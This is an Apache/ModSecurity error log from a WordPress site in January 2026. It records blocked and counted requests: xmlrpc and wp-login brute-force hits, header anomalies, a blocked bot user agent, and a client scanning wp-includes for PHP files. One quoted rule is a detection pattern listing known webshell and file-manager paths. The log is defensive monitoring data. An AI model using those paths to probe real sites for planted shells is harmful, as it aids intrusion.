[Tue Jan 13 12:32:40.520885 2026] [:error] [pid 22425:tid 22433] [client 159.198.40.6:51174] [client 159.198.40.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.198.40.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWXK6HLEE_SEuOZ0WBRr7QAAAII"]
[Tue Jan 13 12:32:42.843940 2026] [:error] [pid 22425:tid 22454] [client 159.198.40.6:51176] [client 159.198.40.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.198.40.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWXK6nLEE_SEuOZ0WBRr9AAAAJc"]
[Tue Jan 13 12:33:27.475139 2026] [:error] [pid 22389:tid 22397] [client 45.118.151.91:55903] [client 45.118.151.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.118.151.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWXLFyLIB_8b411qalLf_QAAAUY"]
[Tue Jan 13 12:33:29.713278 2026] [:error] [pid 22425:tid 22433] [client 45.118.151.91:56001] [client 45.118.151.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.118.151.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWXLGXLEE_SEuOZ0WBRsLAAAAII"]
[Tue Jan 13 12:33:31.594210 2026] [:error] [pid 22485:tid 22489] [client 45.118.151.91:56096] [client 45.118.151.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.118.151.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWXLGxzzbghmKib9ie-DcAAAAYI"]
[Tue Jan 13 15:05:03.583116 2026] [:error] [pid 22425:tid 22447] [client 150.109.119.38:48646] [client 150.109.119.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWXun3LEE_SEuOZ0WBSQiQAAAJA"]
[Tue Jan 13 15:10:49.294614 2026] [:error] [pid 22426:tid 22470] [client 5.83.218.167:47832] [client 5.83.218.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.83.218.167, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWXv-dy1Q5toryYTHgN6PAAAAMw"]
[Tue Jan 13 16:32:15.004214 2026] [:error] [pid 22389:tid 22399] [client 77.94.248.20:43148] [client 77.94.248.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.94.248.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWYDDyLIB_8b411qalIckgAAAUg"]
[Tue Jan 13 17:14:12.152263 2026] [:error] [pid 49677:tid 49698] [client 182.43.70.143:55689] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWYM5PiKiDrYd_02VZoJEwAAAFE"]
[Tue Jan 13 17:45:34.694485 2026] [:error] [pid 22389:tid 22393] [client 89.39.83.108:60600] [client 89.39.83.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.39.83.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWYUPiLIB_8b411qalItVQAAAUI"]
[Tue Jan 13 18:02:26.109066 2026] [:error] [pid 22426:tid 22473] [client 104.28.246.112:61712] [client 104.28.246.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aWYYMty1Q5toryYTHgObxQAAAM8"]
[Tue Jan 13 18:02:26.529104 2026] [:error] [pid 22426:tid 22469] [client 104.28.246.112:15055] [client 104.28.246.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/style.php"] [unique_id "aWYYMty1Q5toryYTHgObxwAAAMs"]
[Tue Jan 13 21:20:41.278211 2026] [:error] [pid 27597:tid 27605] [client 43.153.123.4:38092] [client 43.153.123.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWZGqT8Db8v8HoJ3n4AHjAAAAAY"]
[Tue Jan 13 23:37:25.201909 2026] [:error] [pid 63843:tid 63893] [client 92.205.171.47:18914] [client 92.205.171.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.171.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWZmtYqxEwB7D1-DxXe-kAAAAJM"]
[Tue Jan 13 23:37:54.968761 2026] [:error] [pid 63843:tid 63890] [client 92.204.218.65:43804] [client 92.204.218.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.204.218.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWZm0oqxEwB7D1-DxXe-0wAAAJA"]
[Tue Jan 13 23:37:56.454692 2026] [:error] [pid 63843:tid 63875] [client 92.204.218.65:43804] [client 92.204.218.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.204.218.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWZm1IqxEwB7D1-DxXe-2QAAAIE"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 14 00:31:00.264126 2026] [:error] [pid 63844:tid 63924] [client 68.178.134.15:39304] [client 68.178.134.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.134.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWZzREL9rjD8EK1UiLkDmwAAANc"]
[Wed Jan 14 00:31:04.576527 2026] [:error] [pid 25809:tid 25811] [client 68.178.134.15:39318] [client 68.178.134.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.134.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWZzSI9SDqNJ9R9VfZDpcAAAAEA"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 14 01:16:20.516701 2026] [autoindex:error] [pid 63931:tid 63949] [client 4.217.232.162:12241] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Jan 14 01:16:40.270042 2026] [autoindex:error] [pid 63931:tid 63945] [client 4.217.232.162:12241] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Jan 14 01:16:41.902706 2026] [autoindex:error] [pid 63931:tid 63952] [client 4.217.232.162:12241] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Jan 14 01:16:42.051065 2026] [autoindex:error] [pid 63931:tid 63954] [client 4.217.232.162:12241] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Jan 14 01:16:42.191870 2026] [autoindex:error] [pid 63931:tid 63951] [client 4.217.232.162:12241] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Jan 14 01:16:42.334099 2026] [autoindex:error] [pid 63931:tid 63942] [client 4.217.232.162:12241] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Jan 14 01:16:42.473953 2026] [autoindex:error] [pid 63931:tid 63947] [client 4.217.232.162:12241] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Jan 14 01:16:42.613979 2026] [autoindex:error] [pid 63931:tid 63937] [client 4.217.232.162:12241] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Jan 14 01:16:42.754048 2026] [autoindex:error] [pid 63931:tid 63953] [client 4.217.232.162:12241] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Wed Jan 14 01:16:49.600804 2026] [autoindex:error] [pid 63931:tid 63948] [client 4.217.232.162:12241] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Jan 14 01:16:49.749749 2026] [:error] [pid 63931:tid 63955] [client 4.217.232.162:12241] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWZ-AdVnG0cQj3cwmW9E6QAAABY"], referer: https://www.google.fr/
[Wed Jan 14 01:16:50.037077 2026] [:error] [pid 63842:tid 63865] [client 4.217.232.162:12282] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aWZ-Am0zPTD54ET7u1knuQAAAVM"], referer: https://www.google.fr/
[Wed Jan 14 01:16:50.308952 2026] [:error] [pid 43494:tid 43515] [client 4.217.232.162:12281] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aWZ-AsiBIyHKw4YELOkE7AAAAYw"], referer: https://www.bing.com/
[Wed Jan 14 01:16:50.578626 2026] [:error] [pid 63931:tid 63957] [client 4.217.232.162:12176] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aWZ-AtVnG0cQj3cwmW9E6gAAABg"], referer: https://www.google.de/
[Wed Jan 14 01:17:20.388473 2026] [:error] [pid 25809:tid 25832] [client 4.217.232.162:12264] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aWZ-II9SDqNJ9R9VfZD89gAAAFU"], referer: https://duckduckgo.com/
[Wed Jan 14 01:17:32.274191 2026] [:error] [pid 63931:tid 63943] [client 4.217.232.162:12171] [client 4.217.232.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.217.232.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWZ-LNVnG0cQj3cwmW9FggAAAAo"], referer: https://duckduckgo.com/
[Wed Jan 14 01:17:33.368301 2026] [:error] [pid 63931:tid 63940] [client 4.217.232.162:12171] [client 4.217.232.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.217.232.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWZ-LdVnG0cQj3cwmW9FhAAAAAc"], referer: https://duckduckgo.com/
[Wed Jan 14 01:17:36.857695 2026] [:error] [pid 63844:tid 63920] [client 4.217.232.162:12235] [client 4.217.232.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.217.232.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWZ-MEL9rjD8EK1UiLkR0AAAANM"], referer: https://www.google.fr/
[Wed Jan 14 01:49:53.660702 2026] [:error] [pid 63931:tid 63941] [client 80.150.6.150:57964] [client 80.150.6.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 80.150.6.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWaFwdVnG0cQj3cwmW9SawAAAAg"]
[Wed Jan 14 01:49:55.613300 2026] [:error] [pid 63931:tid 63956] [client 80.150.6.150:57964] [client 80.150.6.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 80.150.6.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWaFw9VnG0cQj3cwmW9SbwAAABc"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 14 02:57:16.830840 2026] [:error] [pid 63843:tid 63895] [client 210.245.90.251:52490] [client 210.245.90.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 210.245.90.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWaVjIqxEwB7D1-DxXf8XwAAAJU"]
[Wed Jan 14 02:57:19.370389 2026] [:error] [pid 63843:tid 63887] [client 210.245.90.251:52490] [client 210.245.90.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 210.245.90.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWaVj4qxEwB7D1-DxXf8YQAAAI0"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 14 03:46:36.947306 2026] [:error] [pid 58977:tid 58985] [client 43.159.128.247:54564] [client 43.159.128.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWahHLlT6ggZLRx9QvD1QwAAAgU"]
[Wed Jan 14 03:50:22.645815 2026] [:error] [pid 24710:tid 24724] [client 45.32.103.99:37510] [client 45.32.103.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.32.103.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWah_mXBo5bEhDEEhs1IfgAAAMw"]
[Wed Jan 14 03:50:24.425086 2026] [:error] [pid 24710:tid 24733] [client 45.32.103.99:37510] [client 45.32.103.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.32.103.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWaiAGXBo5bEhDEEhs1IgAAAANU"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 14 04:16:29.239320 2026] [:error] [pid 58868:tid 58883] [client 184.168.108.157:58480] [client 184.168.108.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.168.108.157, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWaoHU67yj8PZAmdsblh1AAAAU0"]
[Wed Jan 14 04:16:31.244008 2026] [:error] [pid 58868:tid 58889] [client 184.168.108.157:58480] [client 184.168.108.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.168.108.157, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWaoH067yj8PZAmdsblh2AAAAVM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 14 04:31:56.658956 2026] [:error] [pid 58868:tid 58888] [client 148.72.0.91:28630] [client 148.72.0.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.72.0.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWarvE67yj8PZAmdsblkjQAAAVI"]
[Wed Jan 14 05:18:47.358786 2026] [:error] [pid 58899:tid 58920] [client 148.72.86.238:15868] [client 148.72.86.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.72.86.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWa2twWViGQd5R44tHFz-wAAAZE"]
[Wed Jan 14 05:26:16.200428 2026] [autoindex:error] [pid 58977:tid 58998] [client 4.214.17.14:53920] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Jan 14 05:26:37.276300 2026] [autoindex:error] [pid 58977:tid 58998] [client 4.214.17.14:53920] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Jan 14 05:26:39.039633 2026] [autoindex:error] [pid 58977:tid 58995] [client 4.214.17.14:53920] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Wed Jan 14 05:26:39.159047 2026] [autoindex:error] [pid 58977:tid 58983] [client 4.214.17.14:53920] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Jan 14 05:26:39.280429 2026] [autoindex:error] [pid 58977:tid 58997] [client 4.214.17.14:53920] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Jan 14 05:26:40.847156 2026] [autoindex:error] [pid 58977:tid 59004] [client 4.214.17.14:53920] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Jan 14 05:26:40.966060 2026] [autoindex:error] [pid 58977:tid 58999] [client 4.214.17.14:53920] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
